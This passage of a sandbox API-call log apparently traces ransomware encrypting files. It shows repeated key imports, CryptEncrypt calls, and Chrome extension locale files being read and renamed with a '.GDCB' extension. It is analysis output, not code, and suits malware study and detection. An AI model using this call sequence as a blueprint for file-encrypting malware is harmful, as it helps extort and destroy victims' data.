CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0275.347] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0275.349] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679bf20) returned 1 [0275.349] CryptGetKeyParam (in: hKey=0x679bf20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.349] CryptEncrypt (in: hKey=0x679bf20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0275.349] GetLastError () returned 0x0 [0275.350] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.350] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0275.351] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b8e0) returned 1 [0275.351] CryptGetKeyParam (in: hKey=0x679b8e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.351] CryptEncrypt (in: hKey=0x679b8e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0275.352] GetLastError () returned 0x0 [0275.352] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.352] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0275.353] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0275.356] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0275.358] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0xef, lpOverlapped=0x0) returned 1 [0275.367] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0275.374] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json.gdcb")) returned 1 [0275.379] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0275.383] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.385] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.385] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0275.385] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.385] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0275.388] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.390] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.390] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0275.390] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0275.390] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0275.393] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679bfe0) returned 1 [0275.393] CryptGetKeyParam (in: hKey=0x679bfe0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.393] CryptEncrypt (in: hKey=0x679bfe0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0275.393] GetLastError () returned 0x0 [0275.393] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0275.393] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0275.395] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679ba60) returned 1 [0275.395] CryptGetKeyParam (in: hKey=0x679ba60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.395] CryptEncrypt (in: hKey=0x679ba60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0275.395] GetLastError () returned 0x0 [0275.395] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.395] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0275.397] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0275.399] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0275.401] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x14c, lpOverlapped=0x0) returned 1 [0275.414] VirtualAlloc (lpAddress=0x0, dwSize=0x150, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0275.439] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json.gdcb")) returned 1 [0275.445] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0275.448] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.451] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.451] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0275.451] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.451] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0275.454] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.457] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.459] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0275.459] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.459] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0275.462] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b9a0) returned 1 [0275.462] CryptGetKeyParam (in: hKey=0x679b9a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.462] CryptEncrypt (in: hKey=0x679b9a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0275.462] GetLastError () returned 0x0 [0275.462] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0275.462] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0275.464] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679bd20) returned 1 [0275.464] CryptGetKeyParam (in: hKey=0x679bd20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.464] CryptEncrypt (in: hKey=0x679bd20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0275.465] GetLastError () returned 0x0 [0275.465] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0275.465] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0275.466] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0275.469] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0275.498] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0xd7, lpOverlapped=0x0) returned 1 [0275.506] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0275.519] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json.gdcb")) returned 1 [0275.526] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0275.529] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.531] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.531] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0275.531] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.531] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0275.534] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.537] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.537] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0275.537] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0275.538] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0275.540] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c760) returned 1 [0275.540] CryptGetKeyParam (in: hKey=0x678c760, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.540] CryptEncrypt (in: hKey=0x678c760, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0275.541] GetLastError () returned 0x0 [0275.541] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.541] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0275.543] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c720) returned 1 [0275.543] CryptGetKeyParam (in: hKey=0x678c720, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.543] CryptEncrypt (in: hKey=0x678c720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0275.543] GetLastError () returned 0x0 [0275.543] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.543] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0275.544] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0275.547] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0275.552] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x10d, lpOverlapped=0x0) returned 1 [0275.559] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0275.566] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json.gdcb")) returned 1 [0275.571] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0275.575] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.577] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.577] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0275.577] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0275.577] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0275.580] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.584] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.584] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0275.584] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.585] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0275.587] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c160) returned 1 [0275.587] CryptGetKeyParam (in: hKey=0x678c160, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.587] CryptEncrypt (in: hKey=0x678c160, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0275.587] GetLastError () returned 0x0 [0275.587] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0275.587] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0275.589] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c7e0) returned 1 [0275.589] CryptGetKeyParam (in: hKey=0x678c7e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0275.589] CryptEncrypt (in: hKey=0x678c7e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0275.589] GetLastError () returned 0x0 [0275.589] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.589] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0275.591] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0275.594] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0275.598] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x100, lpOverlapped=0x0) returned 1 [0275.606] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0275.613] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json.gdcb")) returned 1 [0275.619] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0275.622] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.624] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.624] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0275.624] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.624] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0275.626] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.628] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.630] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0275.630] CryptReleaseContext 